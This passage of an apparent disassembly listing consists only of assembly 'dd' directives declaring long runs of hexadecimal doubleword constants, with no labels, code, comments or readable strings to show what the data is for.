		dd 0C944DD0Ch, 8054B428h, 13D98417h, 3195A23Dh,	1510C894h
		dd 0E802DCB3h, 59634331h, 9D684141h, 39A5E048h,	0E59FBB03h
		dd 191880BCh, 2A10F44Dh, 5C825302h, 587B454Fh, 5894495Ch
		dd 1EE49Dh, 8AFCA35Ch, 0AA04BE5Eh, 3B7EB954h, 1B8058E8h
		dd 7DDAF1FEh, 85F9C93Fh, 9D11B6F5h, 0F17050C8h,	0EB68F8h
		dd 34E653E4h, 0D287FCB3h, 67F800B4h, 0B99C05E5h, 9DEB7Ch
		dd 0F6C32878h, 580A8F12h, 8C01AD96h, 0D9E907C0h, 0C95A139Bh
		dd 0EE703268h, 111C5412h, 0C3306248h, 8C8C60F2h, 4349890h
		dd 0F07D4E17h, 10908ADBh, 94423522h, 0C8B1CD85h, 4B5FC1B0h
		dd 203D7C22h, 2F03D760h
		dd 29B1B600h, 5BEF7F01h, 45340987h, 0F47A2BBCh,	0B8075001h
		dd 26126441h, 4AFCDF4h,	0F02F555Dh, 3C20E921h, 0BB018066h
		dd 5D5FF65h, 93410918h,	0A4F93D8Eh, 166EA06Fh, 0FEC391h
		dd 0D9DDC91Ch, 37DB8677h, 0B84E2629h, 76CDA200h, 0F29DD4D2h
		dd 0AFD525DAh, 0CFC2D030h, 442DB499h, 0C557072Ch, 882C63h
		dd 0BAD00561h, 5BB03810h, 385D3E10h, 95C1804Ah,	0D787D45Eh
		dd 5AF002Fh, 0C5429E66h, 7A2C7DF2h, 98133884h, 0DC234E2h
		dd 78C44B6Bh, 0C5680718h, 3E3B81h, 0DDB71C12h, 43A2D3BFh
		dd 2EF1539h, 0BD72EAD5h, 204675h, 10F56A50h, 0AE180EDDh
		dd 4995020Bh, 9428149Fh, 7D2B8078h, 16406D44h, 83FA3CE8h
		dd 0FB662907h, 8BFEDCE4h, 0F6283130h, 1144206Bh, 0AC380110h
		dd 48A0C823h, 0AA47C010h, 0A0DDE9h, 0CDA6C3D7h,	18521B04h
		dd 0AB3966F4h, 5890FC17h, 44F45F40h, 48BB585Ch,	0E8250D89h
		dd 0FED03C0h, 0E71EF5F4h, 0C878BBA0h, 7539CF04h, 52A42452h
		dd 943F2404h, 760038B7h, 7BFAAA82h, 4F52B94Bh, 0FD0C7C68h
		dd 90B4D1DCh, 0F96C7358h, 0C826C997h, 0F813AA8h, 0F2202C6Bh
		dd 0D5A56200h, 0CDD960DBh, 6F3A44A7h, 0A041676Eh, 26A966B4h
		dd 68A11D4Dh, 4155400Ch, 2056A8C9h, 0D4B09274h,	4061C445h
		dd 0E0D14C3Ch, 0D0CE8C8Bh, 743F8FE6h, 20242D55h, 6444B198h
		dd 0F020C425h, 321CFC91h, 240BC835h, 59E6625Fh,	0F92E004Ch
		dd 0E9C20CEEh, 0D1BB6600h, 0AEE115C8h, 2D240053h, 0EF02D2BAh
		dd 4100B328h, 6BFBBDB9h, 970D6039h, 40A18491h, 0B9F31EEDh
		dd 30783D5Fh, 764188E6h, 56800C00h, 684CFC86h, 1184BC14h
		dd 0A534003Ch, 69F12A19h, 0AC4148BAh, 0CF21AC22h, 6B01829Ah
		dd 1A2964h, 92813870h, 6DDB00ECh, 0F34B47C8h, 0F70036A4h
		dd 1D0A4C5Fh, 24C208E3h, 0EB88E19h, 58CBC95Eh, 0C76D5084h
		dd 0B697E3C4h, 0F66C21C5h, 1046D24h, 1B7C532Dh,	6ADDE249h
		dd 1F46F8h, 0AA9376C4h,	91571882h, 128077F3h, 8C22323Ah
		dd 61E10E0h, 0B440B896h, 20B2A61h, 0A66C54D9h, 0EAC094CEh
		dd 2D4F1BB9h, 38803425h, 0F335EB7h, 9141E7E9h, 1208900h
		dd 0F905D378h, 1B1765FBh, 0C26E0A6h, 3048606Ch,	89008216h
		dd 8B6699DDh, 2EB2606h,	42927323h, 0FD60CA12h, 0D52EB508h
		dd 64EB808Fh, 644F00DCh, 4661898Dh, 971EB37Eh, 0CEC2F76Dh
		dd 6EC0F51Eh, 0D0A622C4h, 57C8079Dh, 0CFC41019h, 7BB12265h
		dd 32C6C113h, 402E04C9h, 0DC403D3Ch, 0F102C10Dh, 0BD7EE1C8h
		dd 27B45042h, 10449BC5h, 0A63D8C28h, 83EDFE00h,	709ECA4Ch
		dd 106C0076h, 0BEE23A52h, 0A24D3E31h, 0BC0B834Ch, 5C982275h
		dd 0E82AB825h, 0AFAC04h, 6C6F6BEh, 4C632504h, 0EA7AF7ECh
		dd 0F94BA406h, 91E81158h, 0E2126714h, 0CA408E89h, 513F39D5h
		dd 0A9A68074h, 0E4FD9EB1h, 0BCB09746h, 44843B66h, 23EA6EC9h
		dd 0FAB9613h, 70B8E064h, 0BA87FA80h, 620094B7h,	0C17440D7h
		dd 2FD313E6h, 0A06164B8h, 485209BBh, 988C24ECh,	57257418h
		dd 43B4C44Eh, 80492142h, 0D13558D5h, 3850BECDh,	808B697Ch
		dd 2B2A7Eh, 687B835Bh, 480C423Ah, 4C728F00h, 0BDDB57CFh
		dd 305B48A0h, 6E6B26CFh, 94970C64h, 49290140h, 97E71C55h
		dd 0D3C83911h, 308024A2h, 57C5C0F3h, 0D7F01013h, 1C00C485h
		dd 0E972372Ch, 3B5E161Fh, 0D248B1F7h, 44A190D8h, 4CBC1535h
		dd 755087h, 8EF22AA7h, 0DF2E1B01h, 1E251707h, 0B4ED2C71h
		dd 0C082387Dh, 9424E3E9h, 4E802CA8h, 8F5EB26Dh,	41385A00h
		dd 236710F3h, 0BD680387h, 0AAFA6FBCh, 0F11A66F0h, 0C774144Ch
		dd 7E50A5A2h, 0FCCDBA49h, 39070055h, 1EACEB63h,	98020540h
		dd 4E6FF096h, 5EDC993Ch, 73388515h, 0CCBC4C38h,	91885FA8h
		dd 76FF00B8h, 0B6D109ABh, 0E32C71CCh, 0C1E2B8F7h, 17D846D5h
		dd 2024F014h, 0D91BF428h, 0C709CA98h, 5A3EBD16h, 93C89914h
		dd 0F3047256h, 10F1C08Bh, 21B22480h, 821071h, 0F08F56EFh
		dd 3BC35C8Eh, 7603B402h, 0D6882DB7h, 0EF81627Ch, 36925CDCh
		dd 8C7884E3h, 630014A6h, 5206E52Eh, 81BFB764h, 4D44603Bh
		dd 23CDB5Dh, 6BA96D62h,	5CDC6449h, 0DC83D4AFh, 75E0646Eh
		dd 0D17EBB2h, 0B4A69077h, 1C968007h, 92B630B8h,	0E644DCC2h
		dd 72C12E1Fh, 3A11B8h, 0A8F4AEE9h, 1756A465h, 72E03076h
		dd 9E20C9F8h, 264831ECh, 0C40C5674h, 2A0A85Fh, 0CEC2CCE6h
		dd 4400F882h, 7BE3C1EFh, 0C9C82427h, 0BC098C30h, 87002B4Ch
		dd 61A0D2E2h, 0A3B463h,	0A4F08249h, 8E5414A0h, 0C014425Ch
		dd 67EDC2F1h, 0F82A5CD0h, 1C5A5F80h, 29001BCCh,	582E8C83h
		dd 0FA32BD97h, 1010BF0Fh, 5A05B5C4h, 0F051A241h, 0C07834DDh
		dd 23AF4880h, 3A090BBFh, 0B92045ADh, 8111438Ch,	409A20BEh
		dd 2F40EF49h, 3149464h,	2F0B533Ch, 48B0C4E9h, 201F7D0h
		dd 8C4CF16Dh, 0F4301A75h, 0A0EB52B1h, 2EE3C011h, 4CE4F494h
		dd 0FEF040ACh, 3602A559h, 0C23C2989h, 681255B4h, 0C344B46Eh
		dd 4A38006Dh, 2948637Dh, 3A07731Dh, 5A0295DFh, 24E38550h
		dd 620D5FC0h, 0EE20314Ch, 13611B8Ch, 0D321F7A6h, 2BD0BE34h
		dd 0E63DE95Eh, 0A0779C9Bh, 26F6AD40h, 3BB222B3h, 405F88B5h
		dd 21B76808h, 0D902C56Ch, 0F20FB3Ah, 4CB4F0D5h,	15053BF7h
		dd 22496FF1h, 70E6B97Ch, 87FE401Eh, 0D9CEFDC0h,	0E8E098A0h
		dd 7F8F3C89h, 8AE7AC50h, 3C002066h, 0FA77D38Ch,	8D331Ah
		dd 0F558BCDFh, 0F4DDA2Fh, 869E3C12h, 162560E6h,	9165B490h
		dd 0C63E5AE0h, 0A40D171Eh, 0E207D202h, 0EDCDA2Bh, 73E9A9D2h
		dd 65964F00h, 0CE00461Ch, 0EAB976C2h, 250149Ah,	3DC7982Eh
		dd 0CCF39468h, 0CD80B580h, 27B17702h, 403190FAh, 26A4611Fh
		dd 4C4B78BCh, 0F7F0648Dh, 3065296Fh, 37E6049Ch,	34548040h
		dd 0D128BB43h, 0E34490B4h, 508E13F6h, 2E6C979Dh, 0F54B6500h
		dd 3500F730h, 0FE9B78C8h, 254CB324h, 0C0B0F8DDh, 61286B01h
		dd 5C3A383Dh, 0F08CCB6Ch, 88B9009Fh, 2352BD8Ah,	0FF126D91h
		dd 0C4705165h, 534034F6h, 0B5037881h, 0E97F8467h, 2B606BA9h
		dd 0FA85D422h, 746C4450h, 80264A3Ch, 6F233EE3h,	448AD92h
		dd 0F21EB266h, 4CD8E46Eh, 7651B300h, 6AAE3464h,	45711775h
		dd 0D460046Dh, 0A4070A5Eh, 548BC835h, 7263A300h, 0EEB19756h
		dd 0F558B8B7h, 26D8098Bh, 2CF94340h, 5F808821h,	16060EA5h
		dd 0C5449C36h, 8BBCB42Ah, 0E5C66902h, 0CE70FCC5h, 2EBCBA30h
		dd 7DF82Eh, 72DEBADh, 4D001BEAh, 0C68A69B8h, 4AD1F0F5h
		dd 0C054E2B0h, 0E1A9B45h, 9D2D25DCh, 5ED07CE0h,	2546FA8Bh
		dd 0E4C4C5A2h, 0AF587C84h, 0F43AA240h, 3FD6490Ch, 53F78203h
		dd 0E218800Fh, 5ED5001Fh, 841C8914h, 722DE179h,	827C6C5Fh
		dd 401879F6h, 4716A909h, 959D0202h, 6C4B17B0h, 0BA3C4448h
		dd 0C92A3703h, 0C6334CE4h, 0C022F2F1h, 0F72E5E21h, 150028BEh
		dd 442C45BBh, 250ED65h,	6056103Ch, 0BC546FD8h, 2055EA40h
		dd 20029F0Eh, 0B52583EBh, 518008E2h, 10D4EDA0h,	0DDB92102h
		dd 311D38F9h, 9C202F12h, 45B39Fh, 0AB4BDD5Bh, 0F6F3F778h
		dd 0C54F5727h, 522662B0h, 1542CC98h, 0E2E8C217h, 86279CB2h
		dd 62C0BC98h, 9BFCBF19h, 0B814BBC8h, 0A019220h,	88697A18h
		dd 0CBC4D3E1h, 0F0EF5627h, 0E2CDB817h, 45E3E10h, 0FB6EE00Ch
		dd 74C80C84h, 0BD8E2F6h, 0C77E4C41h, 0C0541411h, 0D5274FDFh
		dd 644C4216h, 0AAF60F40h
		dd 2A2BE7FBh, 0E8F578E9h, 0D4045C08h, 4A0582C1h, 637E8CDDh
		dd 0F8B46870h, 0F6F78080h, 242D9EF2h, 40784067h, 2CDE55CEh
		dd 0D1D1E7FFh, 0BF844214h, 24E4FB29h, 2D0EAF8h,	123D5C0Ah
		dd 0E040147Eh, 0F0FF7034h, 7407D09h, 0D5C08F0Ah, 0A94A34F7h
		dd 0B0C2177Ch, 70987C64h, 22E8AE63h, 2FF15945h,	63AAB401h
		dd 0D1F6B57Fh, 0C7660094h, 95843473h, 4F1FE703h, 0D00C35D9h
		dd 12873D6Bh, 845122Bh,	7E93D750h, 205770E0h, 6F29E0CBh
		dd 0DF03CC5Ah, 0B02028BBh, 94E6A6F7h, 0C5C598h,	0CA217178h
		dd 5A009FFDh, 0AAD1887h, 18B9D714h, 0B9CF5CEFh,	52F41C94h
		dd 3B01F1D2h, 0C25CE515h, 0AAB07068h, 13FE7103h, 4BA3BE00h
		dd 0B379E1B5h, 6FF80052h, 27E89D32h, 42974A43h,	0F4C640h
		dd 0E62E20BAh, 7B301901h, 408EB101h, 2D3E5C35h,	3AE4DC31h
		dd 9FDA12CFh, 0A9942368h, 606F1990h, 57070D00h,	0FCB14FF6h
		dd 0F3E34AA2h, 377900ACh, 86C95865h, 7428E9CDh,	43EC1A0Eh
		dd 6669D362h, 48103059h, 34AB3B81h, 9F1894C6h, 2FDF208Ch
		dd 106A6569h, 0EC60CCF6h, 4C94A4Fh, 99AD4E17h, 0C167C148h
		dd 8E423C2h, 402BD71Ah,	8ADD24C0h, 0D1444502h, 483B67D0h
		dd 254CBD88h, 3473DA21h, 0CD267C00h, 7A74B5AAh,	25E5E8A4h
		dd 84C821D8h, 500BDECh,	0AB6A6899h, 1F91BCAh, 0D7B1F11h
		dd 889314D6h, 13DD5958h, 846C8031h, 1F004432h, 944A70DCh
		dd 52F4A8BDh, 0F300B46Eh, 0ADE1DF60h, 1814F2E8h, 828CAA8Bh
		dd 576F4426h, 0E8D144B9h, 38392ABFh, 51AB0591h,	0B084EE29h
		dd 20AAC484h, 53F84638h, 8CA0D879h, 255EBF69h, 8A434CC8h
		dd 0D4679819h, 0F3109B66h, 20D7D2ADh, 0A1FEE160h, 866C626h
		dd 2129DC0Ch, 9606884Fh, 69515C00h, 0C149A6F5h,	546A59A4h
		dd 2FE04B11h, 4AD6D838h, 0BAA4A467h, 0C65E0484h, 95AE8D57h
		dd 83B8ADF4h, 11CAA8A9h, 51DBC351h, 0EF8180C9h,	18D81715h
		dd 0C5310065h, 90B41C1h, 72ECAFCAh, 9FFC0E00h, 4AB4BB9Bh
		dd 73D4A835h, 10099CCh,	0A702C8D3h, 59F22038h, 0BDAC6000h
		dd 77C4452Dh, 54402557h, 0E5801C5Bh, 0D1BE931Ch, 1971AFh
		dd 0CB73B897h, 36812CB1h, 5A52AA00h, 0C1343BD8h, 4D9827DEh
		dd 0F840D02Eh, 18CD5BC6h, 7AA03500h, 75CA43DBh,	230C00B8h
		dd 9E4B9AF7h, 509C8A50h, 0D3866086h, 84903B1h, 584EEB03h
		dd 450780A0h, 0D231C319h, 1F3AB21h, 53E6C1B1h, 0D2CF457Ah
		dd 84F26C60h, 5440F4BEh, 7EDA7B70h, 40B20011h, 82EA6D21h
		dd 14168965h, 18A0BFF0h, 0D9E545C1h, 82982CB1h,	408DFF0Eh
		dd 80210C0Ch, 32E7BCC2h, 0C52164h, 46B77815h, 3B00BEC9h
		dd 4F302ED4h, 2F0360h, 3D41B8B5h, 938FDD7Bh, 7BF5043Ch
		dd 0AC1C6405h, 0A83868Bh, 616FD9E9h, 0A0B38468h, 21F072B0h
		dd 0DB8014BCh, 0E398C48Fh, 6E4500B6h, 0A8D524CCh, 7D283455h
		dd 90E6A806h, 0CE148C00h, 7947074Eh, 0EB2E011Bh, 89E3BD63h
		dd 357091F2h, 8DE99F0Eh, 8B4B57A4h, 20779D0h, 88840769h
		dd 407CCAE2h, 794F158h,	32F4CC15h, 0CE59F0E5h, 0B600D503h
		dd 7CB1F3E1h, 0F0E23A6Ch, 712CFCB8h, 6EE6296Dh,	814700D0h
		dd 0A69543A9h, 178D4Ch,	7182EC15h, 0E627B1h, 0B24049B4h
		dd 5A30A6D7h, 0CFFD9416h, 5D437000h, 0E1A2D0h, 607CB303h
		dd 4B9F4A7Eh, 20144Bh, 0AB489Ah, 1E352C73h, 8C8A2297h
		dd 2003E76h, 0DAB1D2C3h, 24789BBAh, 40407060h, 0E091D9F6h
		dd 501F904h, 0B0B34D26h, 1D481502h, 14625BD8h, 9B0050E4h
		dd 0C8958E2Eh, 961BF86h, 67B9F71Dh, 694B9458h, 820078B7h
		dd 0E943C324h, 180016BAh, 68B5A13h, 0B0BD7CAFh,	26631200h
		dd 0BADCC4D4h, 6C5F3831h, 818471E6h, 50914B95h,	2A82285h
		dd 0C1D39966h, 0B090466Eh, 2C204D64h, 0B2894838h, 18CC1E96h
		dd 0F08A4A0Eh, 44304BA3h, 241A1E90h, 0DC86C0C0h, 593C4163h
		dd 0C456E807h, 7D50A0C9h, 0FEC0FDFBh, 0A57CB9CEh, 223E88D9h
		dd 0A14809E2h, 78926670h, 8B5BC99h, 0E6BF255Eh,	57A144C0h
		dd 40131917h, 0C7C12C31h, 1F00B072h, 0AA17508Dh, 4E25EDB2h
		dd 13C4C440h, 0EFF6E126h, 384BA707h, 2F7824E0h,	20616035h
		dd 703684Fh, 4401A2E0h,	43D0FFCCh, 50224D57h, 44A02B25h
		dd 14D16ACFh, 8126A100h, 6720D06Ch, 0E9B6050Fh,	0D8385CEBh
		dd 5D5E6854h, 7D2C28h, 580C9DB0h, 4CBC04C7h, 30378D20h
		dd 4969C92Ah, 1287BE6h,	0F413C7B6h, 94AC0310h, 144EE400h
		dd 0AF7F7248h, 0A0A7CD2Dh, 43BCF60Ch, 0F5700FCCh, 5F01E6C9h
		dd 227F53D4h, 6E250E9Ch, 34B4F607h, 8447003Eh, 0A1F4DCF7h
		dd 403829E6h, 0C0450515h, 508890B5h, 442B4FC3h,	0C0CBBE1Ch
		dd 78A3BD21h, 0C0E51F0Ah, 7743ECC3h, 154D90B5h,	0B9E7002Bh
		dd 60CC8DEFh, 7D0F4931h, 24EBC559h, 0CC0E670h, 39D6C78h
		dd 58798416h, 0E2A05AA8h, 31885F6Eh, 7B963F93h,	57E05387h
		dd 5E4430FAh, 45749A0Eh, 145A6C2Fh, 0CB3B2EC4h,	0A4E3044h
		dd 0C19D7A1Ch, 0C3E47BBCh, 0A9160302h, 170FB5FFh, 118C43B7h
		dd 0C8D15491h, 90B5E92Eh, 0C035DF50h, 2FFC1984h, 7E00C960h
		dd 2D7BE4B4h, 1445783Bh, 9489B5C5h, 90682CC8h, 2C909420h
		dd 268024B1h, 3603EBF0h, 0C2680915h, 745CB2B4h,	0FC2CD596h
		dd 0F5E200ABh, 0C9A8330Fh, 0B9001FD5h, 0C42D0495h, 1A0FD6Dh
		dd 4422E65Ah, 73646C96h, 67522184h, 0AAE31034h,	210991ECh
		dd 549D3FBAh, 0BEA02Ch,	853587E0h, 603EA569h, 91571F02h
		dd 7ECECD84h, 9C424FCh,	949863A2h, 4595E9C1h, 6B940368h
		dd 80C4CBFBh, 60A0B3D3h, 362DDE00h, 5D0F69ECh, 0FF9A2871h
		dd 0A2C7A008h, 95B45FCDh, 0C0A2FCh, 64C35950h, 1B8CA3Bh
		dd 0BD74B3BCh, 48A4DE69h, 6152B4B8h, 4DC13DC4h,	5F373A78h
		dd 14301C65h, 5E194h, 65AEDBBFh, 61BD7F64h, 4BD3981Dh
		dd 0BC745383h, 0AF95F0F9h, 912600D9h, 14BB40C8h, 0F0922A4Ah
		dd 0CCCA4B4Fh, 0B180123Ch, 0F1AF6BC9h, 0C0178521h, 5C22CD0Ah
		dd 42D8FEC1h, 78B8B9C2h, 0D9EC2B84h, 53C09E00h,	67D3E69Bh
		dd 0FBAE1158h, 0DFF27434h, 0C8BAE324h, 39C86614h, 988F253Bh
		dd 1ED9F2Ch, 371907A0h,	60904662h, 240B3290h, 80A202EEh
		dd 0C230F7D4h, 0BE591676h, 0E204C544h, 34160010h, 0B90B29D7h
		dd 748F00C6h, 0BED45C8Eh, 5D050279h, 0E3C20431h, 1958C080h
		dd 0E2AA04ECh, 0AA57FDE7h, 77FFDC20h, 0C8F805F0h, 0C3F9538Dh
		dd 55F87FD2h, 4A4AC2D3h, 7594A041h, 277EC568h, 0A5A9B05Ch
		dd 0DB74B50Ah, 0EF3AFF7Bh, 361300E4h, 4514A00Eh, 15382634h
		dd 518E0264h, 307DDEC1h, 2CCD86A0h, 8B7075B0h, 287A21F6h
		dd 69AF141Fh, 0A2ED7A00h, 1FF14DB4h, 49A35806h,	6C90DEC2h
		dd 0F0057365h, 7F7DAAB9h, 0BCBCF40Ah, 44C87717h, 0DA130708h
		dd 0C0E97FE4h, 1C7EC39Fh, 1421A15Eh, 18D8E351h,	32213C8h
		dd 74D044DAh, 58E216DDh, 0A2005822h, 97F08D49h,	39488F4Bh
		dd 84DC4E76h, 14E5E899h, 5FC27CACh, 288746AEh, 181C42ECh
		dd 4D407C7Ch, 1EDA9065h, 0FAF2D79Fh, 3D8DDD80h,	762FE884h
		dd 0DCA4EF19h, 0A0214B58h, 4466B420h, 485A2638h, 84612CC8h
		dd 0AD533616h, 4C006424h, 1EA2957Bh, 0E660057Fh, 0DD210FD5h
		dd 5A8B6098h, 0CCD3E500h, 9F4BB7F2h, 0ACDB5DE9h, 0D7B3C21Eh
		dd 2C5CD45Ch, 9AE20798h, 68161B16h, 0F809E4D3h,	0A378D0h
		dd 0DF73476Fh, 0BE75F342h
		dd 2D2470E9h, 40E49Dh, 0C08EE2D2h, 44EEDCA1h, 646FB505h
		dd 0A088ECAFh, 60DB41F0h, 3889E338h, 383214D5h,	0BB994302h
		dd 2051793Bh, 75265F81h, 3092D288h, 0DC081FBBh,	0A3DE89BDh
		dd 0C905C99h, 35D82CEh,	0A0BD7250h, 747BBACDh, 6FE12C41h
		dd 0BC642DD0h, 7255F000h, 71EDC763h, 5E1A037Ch,	50B0DF98h
		dd 2C596EE8h, 78A22703h, 0C193B319h, 36102428h,	0B600BBD3h
		dd 0DD8BE5F0h, 4C433E92h, 6D3F4F88h, 0BC2D0C4Ch, 5500A464h
		dd 54A348AFh, 77ABFBD0h, 0D19100CAh, 0BF6A867h,	0AD017F14h
		dd 3A1F1574h, 98213819h, 0FCACCC2Eh, 291E0900h,	8CC0AE8h
		dd 0F671B4h, 0B62D6AA7h, 340E6C3h, 2A4EE105h, 0A4227E60h
		dd 16107157h, 9040095Ah, 0D044E809h, 53E6C002h,	0C2C44503h
		dd 43C866E8h, 0FEAB20A7h, 0AC4A138Ah, 0D354EC55h, 0A466C408h
		dd 9F4A004Eh, 7CE3750h,	407E6300h, 3854C8Fh, 1E4B98Dh
		dd 0C9663AD6h, 28143A6Fh, 55631188h, 0F2562612h, 9049216Ch
		dd 5FC78745h, 0E75D1BD0h, 2ED22F8Ch, 88C6C481h,	0EFC0E015h
		dd 0B0F4354Ah, 2AD902E9h, 676CBA44h, 0C2091CF9h, 5018FEDFh
		dd 0CC01D0D9h, 0D4C213DAh, 21AF3275h, 0C7AC1410h, 0D72C6200h
		dd 529AF3D3h, 0FD28009Dh, 0BC823339h, 2000D622h, 40E87B5h
		dd 7DAF3B06h, 5ED7A063h, 51F67DF4h, 88783467h, 49694884h
		dd 0CCFA2Bh, 0F2DBC3CCh, 62C84B81h, 1A1B9302h, 0D81497BEh
		dd 453F270h, 0FFBB1F0Bh, 2E74E1A3h, 4EDB0002h, 549057E0h
		dd 17845E40h, 0B11FC14Ch, 88B8444Ch, 0FEF6943Ch, 7E01FD7Eh
		dd 0B4D01D44h, 0DEEECACDh, 2566C48Ch, 138094ACh, 2C41DDFCh
		dd 55A5DF00h, 65C6D65h,	0E07760B6h, 7674BE2Ah, 9C69D903h
		dd 983256ECh, 66126Dh, 61F18EE0h, 662B58Ah, 0A1A8CA17h
		dd 935F3C81h, 0C83DB1D1h, 0AABD7502h, 28C87B11h, 9DF4789Bh
		dd 2CCF44h, 13AA69CAh, 0E6AF80C5h, 0CA641D3Eh, 45708090h
		dd 0EC4027E0h, 0EF005079h, 0E991737Ah, 0ABD304D0h, 901814CCh
		dd 4852D138h, 62785751h, 4C7000FCh, 9DFA8CDAh, 0EDE0B59h
		dd 38BED052h, 0D827493h, 524157A7h, 63A21EDCh, 0CA5C807Bh
		dd 4395074Ah, 604CEE00h, 35F03603h, 4930064Eh, 613C5D6Fh
		dd 0C6C20716h, 46578C9h, 1819D801h, 5921EDCh, 0F6EACF77h
		dd 0C2FC8009h, 109FE74Bh, 0E80E8DFCh, 0BE5A14BBh, 0D118F408h
		dd 4F42F93Dh, 0B44D2688h, 0BB7040BCh, 604A7ED3h, 0ACCC6864h
		dd 5A0584B2h, 0D5E8DAA5h, 33E84BAAh, 0A7E9005h,	40ECBAF0h
		dd 0B07BBE63h, 16DDC27h, 3441DE70h, 7C202209h, 0CC2818BDh
		dd 21DD0186h, 0D497A33Bh, 2ADBF88Ch, 7D072778h,	5E3E286Eh
		dd 0E47FEFDFh, 0F8A03B3Ah, 3F9F895Ch, 823C0CDh,	23C8885Bh
		dd 5EF58h, 0D3922175h, 3E453195h, 7F24F7DEh, 5C11DCh, 6E443B8h
		dd 7CEDF8F5h, 0E7CFCA6h, 0ECA05D78h, 1EA40376h,	0B8C49F15h
		dd 0FA168010h, 0CE312Eh, 0F9DC59A4h, 7D0B3ACDh,	0C5D2300Dh
		dd 4463381Dh, 0C0816900h, 0E492431h, 7E72CB00h,	0F4018B36h
		dd 0F0C8091Bh, 0E0902ED9h, 7803A3BCh, 81FEF1F9h, 0BB60C06Dh
		dd 97EE1F3Ah, 0A20AC048h, 99A8CDDh, 0B513BE00h,	2772E469h
		dd 94C2003Dh, 0CD33E5FDh, 91A01E17h, 6600FE5Fh,	0CE4EECA1h
		dd 0BE4A5712h, 0B2764FBCh, 0F585008Ch, 58C1F86Eh, 9E720224h
		dd 0AE8D5445h, 0B7C0EC74h, 3D661Bh, 7B346E8h, 0BCE7204Eh
		dd 57283090h, 4FB06434h, 56261B79h, 22644454h, 8F2CA425h
		dd 0FF670400h, 57D7BED4h, 426600E9h, 28821E2Fh,	0CB0C6186h
		dd 31FBB0C2h, 0E54490F6h, 14C82A09h, 528300DCh,	0CF574B2Ah
		dd 4F12EC7Dh, 0F805C37Ch, 0AB852D73h, 38B3D500h, 0FED9F75Eh
		dd 22F41268h, 0E3A4049Ch, 69E8DCE2h, 54F9000h, 7B813F43h
		dd 0DA1A00D3h, 53CA70B1h, 5800714Bh, 1F0DF103h,	0FA0473Bh
		dd 6387CC99h, 780522A0h, 2600A759h, 215DB51Ch, 34AC12h
		dd 0F5ED354Ah, 4C17E6F6h, 153BA605h, 10E2F407h,	73DD7E01h
		dd 0C3D725DCh, 88A86C2h, 76CE82C4h, 74E44C6Ch, 8374AF4Ch
		dd 98BD66E6h, 0C1E3CFh,	1271D874h, 3BF54815h, 0CCE6534Eh
		dd 0CFA890Eh, 0BD1CF202h, 0E8D493E0h, 0F1DBEC02h, 7C596321h
		dd 5B2888B4h, 34D4C106h, 0B8E497A9h, 0B600177Ch, 0C42B65B9h
		dd 0A669EBh, 0EF154E5Eh, 7DD495B5h, 0BDA14500h,	5336C0FEh
		dd 0E7182F4Dh, 0AE386444h, 3B418783h, 74E0CCEDh, 26656407h
		dd 3DC37CBh, 9FE18590h,	8F0C67F0h, 395E3F00h, 68460B02h
		dd 42A40197h, 66CBF816h, 5588D06Ch, 0EF84495h, 6C902EDh
		dd 2F0FC09Eh, 0A039F5DEh, 69C77409h, 2644E8BFh,	0A4A5BD4Fh
		dd 0F438892Bh, 400D8B5h, 0C7FC8650h, 8E4548h, 6ABA4331h
		dd 80A94BBEh, 90F0404Eh, 273E1382h, 0EAC4FD7h, 0DFC11630h
		dd 18F218C9h, 6088E34Ah, 0F01412F6h, 0DF7A05F9h, 3858E007h
		dd 2890FF00h, 0DD013043h, 0E75F0B8Dh, 0C000BC66h, 51461034h
		dd 64F9AB2Ch, 79C65D60h, 0BCF025EAh, 0EC0344F1h, 0F97EA643h
		dd 6ACC8258h, 0FCEF019Eh, 0AC4EC50Bh, 0B0883A15h, 8050009Ah
		dd 8FFF4709h, 5091F67Dh, 0C061E00Eh, 93B20368h,	0BDC22F59h
		dd 420C1494h, 0C646EF52h, 0C14A13ACh, 0AD283457h, 0C7EC00A0h
		dd 0FBEF530Dh, 634C001Eh, 1BF87DC5h, 0C207F77Ah, 0A94986ACh
		dd 60AE5AD5h, 1074BF68h, 18A13Dh, 3E6BACCCh, 5B99DCh, 8D90EED3h
		dd 65B32A71h, 0D250BB02h, 0A7B51BB9h, 68F9BC0Ch, 720A3D0h
		dd 40655D7h, 0C2DF61F2h, 85F868DDh, 0A8CC4C57h,	0ECB0844Eh
		dd 7B301095h, 0E29F3E96h, 7DE99200h, 0F57381E6h, 0B9775D00h
		dd 501E9B9Ah, 0FC70EB8Ah, 49CD6BA4h, 0F0455061h, 0BC4F55BDh
		dd 1CF84C20h, 0B9753A9Fh, 0A4403803h, 0BAECBD2Dh, 0C58DE400h
		dd 0B5CDBE37h, 0E85CC866h, 4EE3C030h, 2B6C482Bh, 25D850E6h
		dd 875DA492h, 81A9FF6Ch, 0C8265E2Ch, 89134180h,	654E6EE7h
		dd 808DFB00h, 6463F015h, 0E4A45171h, 0BF880029h, 0A2224C64h
		dd 23404874h, 133DC8A0h, 2FD050h, 6BE1FECCh, 71D5499h
		dd 0BC42DB05h, 0D26EEC43h, 237300ECh, 3E70CB67h, 3D0B9015h
		dd 454926E1h, 403B07FCh, 557D203Ch, 378DFCDh, 0E490E09Fh
		dd 0A4205C56h, 0B281488Fh, 2E141894h, 1A998420h, 28402C0h
		dd 0D4C28695h, 2C19A491h, 802C3D4Ch, 62F8A388h,	0F543BE5Fh
		dd 38C7EC3Ch, 2365C059h, 2E00A40Ch, 5DAE676Eh, 0FC31A7h
		dd 0D353FF60h, 0DDF36B3Bh, 0F0483002h, 0C01F50B1h, 0FE85E4h
		dd 0FBAAD853h, 42A3CC86h, 9543CD3Ah, 1543F58h, 540E0B4Ah
		dd 0F7F0139Fh, 9D9713B9h, 6FD04952h, 0F9C0504Bh, 8FFA74ACh
		dd 0A2C08400h, 254EE122h, 21714E60h, 8E7CD3Ch, 384B8058h
		dd 0A19F25E8h, 5FCF4570h, 18F06F8h, 0D01DB3F5h,	0C0673C1Fh
		dd 700E9414h, 82CFC81Eh, 64CA77BDh, 336C2768h, 10014C2Bh
		dd 0D0C3BD1Bh, 8F7F4538h, 0F65C92B5h, 0CF8900DCh, 0A149B9F3h
		dd 48F82449h, 8DC219Ch,	10AF3FB4h, 0FFACD8h, 9BB9B7D9h
		dd 0CAAAF8A5h, 8309453Fh, 7B2A688Dh, 8CBCA4DBh,	4C484D80h
		dd 6900AE3Eh, 7990777Ch, 49DEC135h, 1F00C8E2h, 43D3FDB4h
		dd 55603A1Ch, 3704F38h,	2E9CA476h, 14A8CCD7h, 693B4449h
